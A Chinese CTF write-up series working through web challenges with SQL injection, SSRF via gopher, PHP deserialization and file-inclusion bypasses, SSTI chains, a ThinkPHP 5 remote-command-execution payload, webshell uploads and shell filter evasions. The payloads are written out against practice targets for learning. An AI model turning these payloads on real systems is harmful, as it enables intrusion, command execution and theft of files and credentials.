WRITEUP
网站
代码
CTF
WEB
攻防世界
CAT/XCTF 4th-WHCTF-2017(4)
writeup
最开始看到这熟悉的界面,还以为是简单的命令注入,输入127.0.0.1
发现的确是ping命令,但是当输入127.0.0.1 & dir
的时候报错,显示Invalid URL。然后就懵逼了,毫无下手之地。
查看大佬们的writeup之后发现,可以使用宽字符注入,即url=%df
,然后他就会爆出html代码,把代码复制打开,就是报错原因和相关信息。
(django报错页面,将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码范围)。)
在这里可以看到pyhton path,第一行就是项目路径。
这里没看懂,不过大概意思是可以使用@
读取文件内容
这里前面还有一个字典fuzz的操作,@没有被过滤
django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库),如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。
django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。即/opt/api/api/settings.py
打开url=@/opt/api/api/settings.py
也出现了一段html代码,复制打开可以看到Name:/opt/api/database.sqlite3
直接打开url=@/opt/api/database.sqlite3
,直接搜索flag或ctf
搜索ctf获得结果WHCTF{yoooo_Such_A_G00D_@}
Training-WWW-Robots(1)
这是一个学习robots文件的题,直接在网址后加/robots.txt
或者使用站长工具进行robots检测。可以看到
1 | User-agent: * |
那就直接打开/fl0g.php
,就能看到flagcyberpeace{b03432652f32469133918d7f56ca2cf1}
PHP2(1)
你能登录这个网站吗?
没有思路,can can need
看了writeup才发现我忘了可以进行后台地址爆破
使用御剑或者dirsearch
(因为题目提示了php,那就只选php就行)
dirsearch -u URL
这两个死活没用,看了一下,人家能爆出来index.phps
?原来是自己加的。。
打开出现下述代码
1 |
|
两次比较,第一次是===
全等于操作过程如下:
1.判断全等于操作符2边的数据类型是否相同 如果不相同,则返回false
2.判断全等于操作符2边的值是否相等,如果 不相等,则返回false
3.最后将上面2步的操作进行与操作。返回与操作的结果。
第二次是==
,只比较值(强制进行数据类型转换)
所以我们传入的必须是经过两次url编码(get也会解码)后的admin
(任意数量字符),比如传入admin
->%61dmin
->%2561dmin
(这里需要传入的地址可以是根目录或者/index.php,但是不能是/index.phps,因为它只是源码)
urlencode将需要转码的字符转为16进制,然后从右到左,取4位(不足4位直接处理),每2位做一位,前面加上%,编码成%XY格式。
但是这里直接使用在线工具对admin编码是不可以的,因为它不会对字符和数字进行编码,我们需要直接转成16进制,然后加上%
字符转16进制
然后就能看到flagcyberpeace{2babf104e185faee3b5700e452be462d}
unserialize3(1)
1 | class xctf{ |
看到?code=
我猜到应该是用get传参,其它就不会了
看了大佬的writeup大概的思路是把xctf这个类序列化后的结果用get传过去,同时还要跳过__wakeup()函数
__wakeup(),执行unserialize()时,先会调用这个函数
1 |
|
序列化的结果是O:4:"xctf":1:{s:4:"flag";s:3:"111";}
大概的意思是长度4的object xctf包含一个只有1个参数的数组
里面有一个长度4的string flag的值为长度3的string 111
那要怎样才能跳过__wakeup()函数呢?
__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
将上述的序列化的字符串中的对象属性个数由真实值1修改为2,即O:4:"xctf":2:{s:4:"flag";s:3:"111";}
然后用上面说的get方式访问,就能看到flagcyberpeace{dc66a5c3f1fa0cb3bd5517df3fa8dc8c}
ics-06/XCTF 4th-CyberEarth(1)
点开是一个恢弘的界面(贴图)
看到这么多选项,我是没想着一个个试着点的,但是论快捷还是一个个点。
也可以查看元素搜href,不过还是点方便。
点击报表中心会转到另一个界面,让你选日期玩,不过怎么选都没用
不过可以注意到url有一个get传参。
尝试使用sql注入好像不太行,看了别人的writeup才知道要爆破。。(这是我没想到的)
这里burpsuite中payload type要选择Numbers,设置从1到5000,step为1
当id为2333时长度不一样
在response可以看到flag
cyberpeace{53736b5e0bffa8fa26d2b5987f74fa52}
view_source/Cyberpeace-n3k0(1)
这里好像鼠标右键被禁用了,但是很少用右键打开检查。。
ctrl+u查看源码或者F12查看元素,得到
flag
cyberpeace{41e995b7ee379f3bd0eedc31a829dee9}
get_post/Cyberpeace-n3k0(1)
这里跟着它的要求先get提交a=1,然后post提交b=2就能获得flag
这里post可以用HackBar插件,当然抓包在下面添加post也行cyberpeace{8e329e962b4c0ce9dd4149dca6a6e733}
robots/Cyberpeace-n3k0(1)
访问/robots.txt
可以看到
这里的Disallow参数代表禁止遵守robots规则的搜索引擎爬取
直接访问,可以获得flagcyberpeace{49643cd3a8ce8917ff5c2f0a022f198a}
backup/Cyberpeace-n3k0(1)
访问/index.php
没反应
常见的备份文件后缀名:
.bak
.git
.svn
.swp
.~
.bash_history
.bkf
因为题目名是backup,所以后缀名有可能是bak
使用dirsearch试一下
访问/index.php.bak
,会下载一个index.php.bak
文件,记事本打开得到flagCyberpeace{855A1C4B3401294CB6604CCC98BDE334}
cookie/Cyberpeace-n3k0(1)
访问/cookie.php
,提示See the http response
在响应标头里可以看到flagcyberpeace{8d6cfbe3f601cd12e4e2c6f1b0807c11}
disabled_button/Cyberpeace-n3k0(1)
去掉disable,点击获得flag
或者可以post传auth=flag
cyberpeace{ce6972b365ff4502f2c0928f9d833569}
weak_auth/Cyberpeace-n3k0(1)
随便输了个admin
,password
试了一下,提示
又随便输了个1
,1
试了下,提示please login as admin
那就只用爆破密码就行
把top1w导入,本来以为很久,结果第一个就出了
获得flagcyberpeace{80b17eb4a68b7fcff023f3f9b8e7c371}
simple_php/Cyberpeace-n3k0(1)
1 | |
php中有两种比较符号
=== 会同时比较字符串的值和类型
== 会先将字符串换成相同类型,再作比较,属于弱类型比较
get传入a和b
is_numeric() 函数用于检测变量是否为数字或数字字符串
要求a==0且a不为空,a=”0”或者a=0a或者a=任意字符串
要求b不为数字或数字字符串且大于1234,传入b=1235a
所以传入?a=0a&b=1235a
就能获得完整flagCyberpeace{647E37C7627CC3E4019EC69324F66C7C}
baby_web(1)
dirsearch发现如下
访问index.php
会重定向到1.php,这里没有思路了。
看writeup发现需要使用burpsuite抓包
当它重定向时,send to repeater,修改GET /index.php,send
提示Flag is hidden!
在响应头可以看到flag
flag{very_baby_web}
inget/宜兴网信办(1)
看题目抓不着头脑,结果看writeup说这是一个SQL注入的题
查了下inget,投入;输入;输入过程
,okok(我看提示bypass想歪了)
bypass绕过; 避开
使用sqlmap得到flagcyberpeace{d59b2f9aadab6159052039f0edeefe3a}
easyupload/CTF(1)
看名字就知道,上传一句话木马,但是提示Your file looks wicked
上传正常图片可以,那就上传图片马
但是上传图片马也失败了
看了一下writeup,发现内容不能包含php,所以需要用短标签
可以使用图片马或者php前加GIF89a
还需要上传.user.ini
文件,上传时抓包修改Content-Type: image/gif
通过.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
提交后会显示路径,访问/uploads/index.php
但是它怎么知道这个目录下有php文件呢?
这里需要访问的是index.php,通过.user.ini
配置让它包含1.png
在蚁剑中可以看到flag在根目录cyberpeace{9aac6bc58d51e4ee318aee88578bd973}
fileinclude/宜兴网信办(1)
提示
@include表示包含并运行指定文件的内容
file_get_contents() 把整个文件读入一个字符串中。
用hackbar传一个cookie:language=chinese,提示变化
传flag的话,界面变为空白
看了下writeup,需要传入的cookie为:Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。
然后能看到经base64加密后的字符串PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezhhMzllNTc1N2U4ZDAzNTQyZjVlMzRlZjY1YzE1Nzk3fSI7DQo/Pg==
解密后获得flagcyberpeace{8a39e5757e8d03542f5e34ef65c15797}
*very_easy_sql/CTF(1)
点一下submit,发现它根本没有跳转,查看元素,发现果然是假表单
提示use.php,那就让访问use.php
提示url you want to curl
cURL是一个利用URL语法在命令行下工作的文件传输工具
输入flag好像没反应,看了一眼url,这不会也是sql注入吧
sqlmap level1好像不行
看了眼writeup,这是一个ssrf题,知识盲区。
URL编码:替换回车换行为*%0d%0a*
在kali的终端执行
curl http://61.147.171.105:57675/use.php?url=gopher://127.0.0.1:80/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aCookie%3A%20PHPSESSID%3D1f546328759632456215236845122365%3B%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%2024%250d%250a%250d%250auname%3Dadmin%2526passwd%3Dadmin
1 | http://61.147.171.105:57675/use.php?url=gopher://127.0.0.1:80/_POST /index.php HTTP/1.1 |
响应包
1 | this_is_your_cookie=YWRtaW4%3D |
所以这是一个Cookie注入
gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+bs+"%3B%250d%250a
1 | gopher://127.0.0.1:80/_GET /index.php HTTP/1.1 |
构建下列POC,实现cookie延时注入
1 | import urllib.parse |
cyberpeace{c2329560bc8e2346a72681101d023249}
fileclude/CTF(1)
1 |
|
大致意思是get传file1和file2,file2的内容是hello ctf
file1使用php://filter伪协议来读取源代码
file2可以用php://input来绕过/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
这里需要使用burpsite抓包修改get为POST,并且POST传”hello ctf”
得到base64加密后的PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXtmMTRiMDE4MzJlZDliMThiMzM4MGRiYzE3NzE1NjgyOX0=
解密,获得flagcyberpeace{f14b01832ed9b18b3380dbc177156829}
NewsCenter/XCTF 4th-QCTF-2018(2)
输入1' or 1=1#
发现有sql注入漏洞
sqlmap对抓包结果进行注入,得到flagcyberpeace{d59b2f9aadab6159052039f0edeefe3a}
但是这个flag不是这一题的
为什么sqlmap不行呢?
sqlmap手册
因为之前用sqlmap刷了其它题,有缓存
使用–purge清除缓存注入
直接手工注入1' order by 4#
错误,说明3个注入点1' union select 1,2,3#
,发现2,3有输出1' union select 1,database(),3#
,dbs==news
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='news'#
,tbn=news,secret_table
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='secret_table'#
,id,fl4g
1' union select 1,group_concat(id),group_concat(fl4g) from secret_table#
得到flagQCTF{sq1_inJec7ion_ezzz}
warmup/HCTF(2)
访问看到一个
查看源代码发现提示source.php
,访问看到php代码
1 |
|
访问一下hint.php
,提示flag not here, and flag in ffffllllaaaagggg
那就只能靠source.php,大概思路应该是传一个用?
拼接的字符串,截断后的前部分是列表内的内容,后部分是ffffllllaaaagggg
,那就构建hint.php?ffffllllaaaagggg
,但是这个作为参数传进去没有flag显示。
看了大佬的wp,发现需要用…/
尽可能多的返回到顶级目录,即hint.php?/../../../../ffffllllaaaagggg
,就能得到flag
大佬的思路里还把?
编码了来绕过第三个判断,但是好像没有必要
flag{25e7bce6005c4e0c983fb97297ac6e5a}
supersqli/强网杯(2)
打开看一下源码,提示sqlmap是没有灵魂的
直接上sqlmap,
1 | sqlmap -u http://61.147.171.105:50519/?inject=1 --dbs --batch |
那就手工注一下
输入1' or 1=1#
1 | array(2) { |
看了大佬的思路,发现它过滤了下列字符,且使用/i
标记大小写不敏感
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
但是可以用;
执行多执行多sql语句,采用堆叠查询
1 | -1';show tables# |
1 | array(1) { |
1 | -1';show columns from `1919810931114514`# |
1 | array(6) { |
然后采用预编译的方式进行绕过过滤select
1 | -1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;# |
1 | strstr($inject, "set") && strstr($inject, "prepare") |
发现使用strstr()过滤了set
和prepare
strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串
但是这个可以用大小写绕过
1 | -1';sEt @sql = CONCAT('sele','ct * from `1919810931114514`;');prEpare aaa from @sql;EXECUTE aaa;# |
然后就能得到flag
看了官方的wp,因为题目没有禁用rename和alter,可以把words表改名成其它,把1919810931114514表改成words(因为word是默认查询的表),但是它少了一个id列,可以将flag字段改为id,或者添加id字段。
1 | 1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);# |
然后查询-1’ or 1=1#也能得到flag
另一位大佬的wp使用了关键字handler
,也能得到flag
1 | -1';handler `1919810931114514` open as `a`;handler `a` read next; |
handler tbl_name open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler tbl_name read first; #读取指定表/句柄的首行数据
handler tbl_name read next; #读取指定表/句柄的下一行数据
handler yunensec close; #关闭句柄
flag{c168d583ed0d4d7196967b28cbd0b5e9}
Web_php_include/CTF(2)
访问,php代码
1 |
|
看了下大佬的wp,主要是两种伪协议,传php代码或者木马?
1.php://伪协议
这里是用php://input协议传php代码
hackbar我这里也不行
bp可以,访问/?page=pHp://input
(使用大小写或者双写绕过),抓包,在下面添加
1 | system('ls'); |
返回
1 | fl4gisisish3r3.php |
然后用cat查看fl4gisisish3r3.php,就能得到flag
1 | system('cat fl4gisisish3r3.php'); |
2.data://伪协议
需满足allow_url_fopen
,allow_url_include
同时开启才能使用
1 | file.php?file=data://text/plain,<?php phpinfo()?> |
这里不能直接用php,需要使用base64加密后才能得到flag
1 | /?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg== |
这里需要查看源码才能得到flag
3.借助hello参数
这里要构造hello参数必须先page参数为真才能包含。
1 | /?page=http://127.0.0.1/?hello=<?system("ls")?> |
也能得到flag
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
php_rce(2)
ThinkPHP 5.X - Remote Command Execution
远程代码执行漏洞,参数名是s
1 | /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls / |
1 | bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var |
1 | /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag |
或者通过find命令查找flag
1 | /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag" |
flag{thinkphp5_rce}
Web_php_unserialize/CTF(2)
php代码
1 |
|
正则表达式/[oc]:\d+:/i
匹配
/.../
表示匹配中间的表达式
[oc]
匹配o或者c
:
\d
匹配一个数字字符。等价于 [0-9]。
+
匹配前面的子表达式一次或多次,多个数字
i
大小写不敏感
所以参数var
需要满足base64解码后不包含o:1
,但是可以用o:+4
php中类实例化的时候,首先运行wakeup()函数,在序列化时先运行sleep()函数,在反序列化时先运行wakeup(),在脚本结束调用destruct()函数。
1 | wakeup()有个执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行wakeup()函数 |
public属性被序列化的时候属性值会变成属性名
protected属性被序列化的时候属性值会变成\x00*\x00属性名
private属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置
修改序列化字符串中属性1改为2绕过wakeup()函数
1 | O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} |
这里Demofile左右是有\x00的,但是被编辑器忽略了
可以在bp里面修改,这里要加00
然后base64加密一下用var传参就能得到flag
1 | /?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQo= |
ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}
Web_python_template_injection/CTF(2)
完全不会,看看大佬的wp
访问/{{config}}
查看全局变量
文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。
思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
1 | 魔术方法 |
寻找可用引用
1 | {{''.__class__.__mro__[2].__subclasses__()}} |
有一个<type 'file'>
可以用来文件读取,例如
1 | {{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }} |
<class 'warnings.catch_warnings'>
1 | {{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys() }} |
<class ‘site._Printer’>
可以用来命令执行,例如
1 | {{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}} |
1 | URL /['index.py', 'fl4g'] not found |
直接查看fl4g文件,得到flag
1 | {{ [].__class__.__base__.__subclasses__()[40]('fl4g').read() }} |
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
web2/CTF(2)
1 |
|
获取明文,反过来操作就行
如下,得到flag
1 | $_o=base64_decode(strrev(str_rot13($miwen))); |
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
command_execution/Cyberpeace-n3k0(2)
命令注入,用&
连接
在/home目录下有一个flag.txt,得到flag
cyberpeace{49782780ee64f5453147468a72161f08}
webshell/Cyberpeace-n3k0(2)
1 | 你会使用webshell吗? |
用hackbar传参数shell就行
1 | shell=system("ls"); |
cyberpeace{3bdaaca4709609b1c356b98ba243db0b}
xff_referer/Cyberpeace-n3k0(2)
提示ip地址必须为123.123.123.123
,需要修改X-Forwarded-For
1 | X-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址,但是这个IP却未必是真实的 |
提示必须来自https://www.google.com
,需要修改Referer
得到flag
cyberpeace{edf5ae233479849e3d4896efda7155bd}
upload1(2)
把如下php文件后缀改成png,然后在上传的时候bp抓包把文件名改回成php
用御剑连接后,在上一级目录下有flag.php
,打开就能得到flag
cyberpeace{9d2d0b1dcdaa91db15aa5b668a95e7bd}
very_easy_sql/CTF(3)
这一题和之前标星号的一样
favorite_number(3)
1 |
|
大致的思路是stuff用某个漏洞传一个数组,num用&传一个命令注入
提示了php5.5.9,说明存在漏洞,查了一下,是整数溢出漏洞
PHP :: Bug #69892 :: Different arrays compare indentical due to integer key truncation
即,当数组为九位16机制数时,会溢出,等同于重新排序,16的8次方即4294967296在逻辑上等同于下标0;
所以需要传stuff[4294967296]=admin&stuff[1]=user
正则表达式/^\d+$/im
的含义是
^ $
:边界符
\d+
:一个或多个数字
i
:不区分大小写
m
:多行匹配
preg_match 函数用于进行正则表达式匹配,返回 pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。
所以当启动多行匹配时,第二行会导致命令执行,而%0a
就相当于;
传num=1%0als /
这里用hackbar好像不行,需要用bp抓hackbar的包,看了一下,缺少的是Referer字段
在/
目录下就有flag文件
但是这里把cat、echo、flag都ban了
可以用这些查看
而文件名被ban的情况下,可以用inode索引号来匹配文件,使用ls -i
可以看到inode号
18497049 flag
使用下列命令查看flag
1 | tac `find / -inum 18497049` |
但是结果504了?
尝试其它方法
用printf将命令写入一个文件
1 | printf /fla > /tmp/hello |
可以得到flag
还有一个方法使用全局变量
1 | a=/fla;b=g;tac $a$b |
cyberpeace{e59c6f6c33936dec616de49d44d8d3f2}
fakebook/网鼎杯2018(3)
不太会,看看大佬的WP
先查看robots.txt,可以看到有/user.php.bak
,访问并下载文件
可以看到判断合法blog的函数
1 | public function isValidBlog () |
需要blog字段满足http(s)://(数字/字母一个以上).(字母2-6个):(数字一个以上)或者(非空字符0次以上),忽略大小写
例如:
1 | http://baidu.com |
成功添加
点击链接可以看到url中?no=1
猜测存在sql注入,输入'
报错
用sqlmap注一下,没有结果,只能手工注入
1 | order by 5报错,说明有4个字段 |
1 | union select 1,2,3,4显示no hack ~_~ |
1 | ?no=-1/**/union/**/select/**/1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' |
1 | ?no=-1/**/union/**/select/**/1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' |
1 | ?no=-1/**/union/**/select/**/1,group_concat(username,passwd),3,4 from users |
这里用dirsearch扫描可以看到flag.php,且和view.php在同一目录下。
这里有两种方法查看flag.php文件
1.用file:///
协议来读取/var/www/html/flag.php内容
1 | ?no=-1/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' |
查看源码,可以看到iframe标签里有base64加密的字符串
1 | PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg== |
解密后可以得到flag(可以在控制台使用atob()函数解密,btoa加密)
2.sql语句中LOAD_FILE()函数可以读取一个文件并将其内容作为字符串返回
1 | ?no=-1/**/union /**/select 1,load_file('/var/www/html/flag.php'),3,4 |
flag在源码中
flag{c1e552fdf77049fabf65168f22f7aeab}
shrine/CTF(3)
1 | import flask |
/shrine/
这个路径存在模板注入
1 | http://61.147.171.105:51191/shrine/{{1+1}} |
这里把config过滤了,但是可以用url_for或者get_flashed_messages读取全局变量
1 | /shrine/{{url_for.__globals__}} |
1 | /shrine/{{url_for.__globals__['current_app'].config['FLAG']}} |
flag{shrine_is_good_ssti}
unseping/江苏工匠杯(1)
1 |
|
大致流程是:
1 | 传参->反序列化->construct()->wakeup()填充args->destruct()赋method值ping->ping() |
所以要传的参数CTF
需要
1 | cat flag=> |
查看文件的方法
文件名替换
1
2 用inode索引号来匹配文件,使用`ls -i`可以看到inode号
tac `find / -inum 18497049`
1
2 使用全局遍历
a=/fla;b=g;tac $a$b
1
2 ls被ban:可以用空的环境变量绕过,例如`l{z}s`
${IFS}默认指定space,tab,换行
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNDoibCR7en1zJHtJRlN9LWwiO319
用POST方法传base64编码后的结果
1 | 其中第一列d代表目录,l代表连接文件,b代表设备文件 |
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyODoibCR7en1zJHtJRlN9ZmxhJHt6fWdfMXNfaGVyZSI7fX0=
但是这里/
和;
都被过滤了,该如何读取php内容?
可以使用8进制ascii码替换命令,例如
1 | ls->$(printf "\154\163") |
1 | s='cat flag_1s_here/flag_831b69012c67b35f.php' |
1 | cat flag_1s_here/flag_831b69012c67b35f.php |
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
得到flag
cyberpeace{29898fce096dde11f0f088c612f9ce32}
file_include/江苏工匠杯(1)
1 | <?php |
使用php伪协议
1 | /?filename=php://filter/read=convert.base64-encode/resource=./check.php |
提示do not hack!
原因是check.php
中对多个字符进行了过滤(上述包括read、base)
可以用iconv
,iconv支持的编码
1 | /?filename=php://filter/convert.iconv.utf8.utf16/resource=./check.php |
可以看到check.php
中的内容,对部分字符都进行了过滤
1 | if($_GET["filename"]){ |
查看flag.php文件内容
1 | /?filename=php://filter/convert.iconv.utf8.utf16/resource=./flag.php |
得到flag
cyberpeace{b954ac143e52458bf33831a02681d948}
easyphp/江苏工匠杯(1)
1 | <?php |
这里需要len(a)≤3
,且取整值大于6000000,可以传a=1e9
需要md5(b)[-6,-1]==='8b184b'
,这里需要爆破一下,得到结果b=53724
参数c需要传一个json编码后的数组
,且c["m"]不是数字&c["m"]>2022
,即c["m"]='2023a'
c["n"]
需要包含两个元素且第一个元素需要是数组,且后面需要c[“n”]中包含字符串DGGJ
,即c["n"]=[[1],"DGGJ"]
但是又有一个循环遍历c["n"]
,如果出现DGGJ
就Die了
那就只能在array_search()
上想办法,因为这里没有设置strict参数,可以用0 == 'DGGJ'
,即c["n"]=[1],0
1 | /?a=1e9&b=53724&c={"m":"2023a","n":[[1,2,3],0]}c={"m":"2023a","n":[[1],0]} |
得到flag
cyberpeace{c994b9366b8a342a494047cedee1e812}
easytornado/护网杯(3)
在/flag.txt
提示flag在/fllllllllllllag
中,且查看url可以发现传了两个参数
1 | /file?filename=/hints.txt&filehash=2598a04e7cc8a8a459f0679b95e33982 |
在/hint.txt
中可以看到hash值的计算方法是
1 | md5(cookie_secret+md5(filename)) |
所以关键是找到cookie_secret
值
根据提示Tornado框架
和render
渲染函数,猜测需要利用模板注入漏洞来找到flag
输入
1 | /file?filename={{1+1}} |
重定向到http://61.147.171.105:53261/error?msg=Error
并提示Error
可能存在服务端模板注入攻击 (SSTI),尝试在当前页面进行模板注入
1 | /error?msg={{1}} |
发现存在模板注入
1 | 在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings, |
结果出现了cookie_secret
的值
1 | c01d81b4-935c-4f0c-b3e7-eecbee4544c2 |
1 | md5(cookie_secret+md5("/fllllllllllllag")) |
1 | /file?filename=/fllllllllllllag&filehash=a497d10f68a24eabcd104d2db8167ada |
得到flag
flag{3f39aea39db345769397ae895edb9c70}
simple_js/root-me(3)
1 | function dechiffre(pass_enc){ |
dechiffre
函数其实就是将十进制转成字符
而想要获取的密码(flag)为下列结果
1 | dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30") |
这里需要将16进制转换成ascii后转成字符
得到
1 | dechiffre("55,56,54,79,115,69,114,116,107,49,50") |
结果是
1 | 786OsErtk12 |
根据题目描述(Flag格式为 Cyberpeace{xxxxxxxxx}
)得到flag
这里我还以为需要再次输入弹出框才能得到flag( ╯□╰ )
Cyberpeace{786OsErtk12}
mfw/csaw(3)
在about页
说使用了git
,可能存在git泄露
访问/.git
发现确实存在
使用githack
工具获取泄露的内容,可以看到template目录下存在flag.php
,然而内容为空
在index.php
中存在如下代码
1 | <?php |
1 | 其中assert()函数其实是一个断言函数。assert函数在php语言中是用来判断一个表达式是否成立。返回true or false; |
因为并没有对输入进行过滤,可以构建语句闭合执行命令
1 | /?page=');// |
1 | /?page=').system('cat+./templates/flag.php');// |
查看源代码,得到flag
cyberpeace{2172f21f4199956826ac65ef621201b4}
ics-05/XCTF(3)
把所有按钮全点一遍,发现只有一个按钮可以跳转
dirsearch的结果如下
访问/index.php/login/
界面,点击超链接
可以看到后面接了个/page=index
尝试使用PHP伪协议
1 | ?page=php://filter/read=convert.base64-encode/resource=index.php |
得到一串base64编码后的结果
base64解码的结果(选取其中关键)
1 | <?php |
其中
1 | ctype_alnum 要求字符串只能是数字和字母的组合(可以为纯数字/字母) |
而后一段的php代码是破题关键
这里需要将X_FORWARDED_FOR
这个参数改成127.0.0.1
,也就是SSRF
然后需要传参pat、rep、sub
,其中preg_replace
函数可以进行代码执行
1 | /?pat=/ab/e&rep=system("ls")&sub=abc |
看一下这个很长的目录s3chahahaDir
这个也是一个目录,再进一层能看到flag.php
这里cat
不显示,还以为还有什么点没注意到
在源码中可以看到flag
cyberpeace{311c896db1aff4f376207dda8e7a4157}
lottery/XCTF(3)
本例提供了附件,内容为网站的源码
附件中robots.txt
中提示有/.git
,可能存在git泄露
原来附件的内容就是git泄露的代码
本题需要先赚钱然后购买flag,而赚钱的唯一途径是购买彩票
在buy.php
中存在弱比较漏洞
1 | for($i=0; $i<7; $i++){ |
因为win_numbers[i]
为0-9
,所以只要让numers[i]
为true
就行
然后就可以在market.php
购买flag
(可能需要多buy几次彩票赚钱)
cyberpeace{c3a5f93792faa195cc74d669f514158c}
文件包含/泰山杯(4)
1 | <?php |
先用dirsearch
查一下网站目录结构
用伪协议试一下,发现好像和file_include/江苏工匠杯(1)差不多
使用
1 | /?filename=php://filter/read=convert.base64-encode/resource=./flag.php |
会提示do not hack!
(因为read被ban了)
但是这里用
1 | /?filename=php://filter/convert.iconv.utf7.utf7/resource=./check.php |
会提示you have use the right usage , but error method
说明是编码有问题,这里需要用爆破来获取结果
1 | UCS-4* |
1 | preg_match("/base|quoted|write|rot13|read|zlib|print|string/i", $_GET["filename"]):ban了部分关键字 |
用这个编码查看flag.php
1 | /?filename=php://filter/convert.iconv.ASCII%2a.UCS-4%2a/resource=flag.php |
得到flag
cyberpeace{3c832b20348bc8051d9f1da6e444ab70}
FlatScience/Hack.lu-2017(4)
先用dirsearch
扫一下目录结构
robots.txt
admin.php
login.php
在这个界面可能存在POST类型的SQLite注入
抓包保存到本地,用sqlmap跑一下
1 | sqlmap -r sqlite --risk 3 --level 5 --batch --purge --dump-all |
1 | +----+-----+-------------------------------+--------+------------------------------------------+ |
得出上述结果,但是密码无法破译
不过这里提示了
1 | my fav word in my fav paper? |
所以密码应该在paper里
在login.php
的源码里提示了
1 | <!-- TODO: Remove ?debug-Parameter! --> |
访问
1 | /login.php?debug |
可以看到PHP代码
1 |
|
可以看到这里password是与Salz!
拼接后sha1
1 | password=sha1($pass."Salz!") |
所以最后这里需要将所有pdf里的单词取出来经过上述处理后与sqlmap得出的密码进行比较
最后得出admin的密码是
1 | admin ThinJerboa |
在admin.php
登录后,得到flag
flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}
Confusion1/XCTF(4)
CTFHUB
Vim缓存
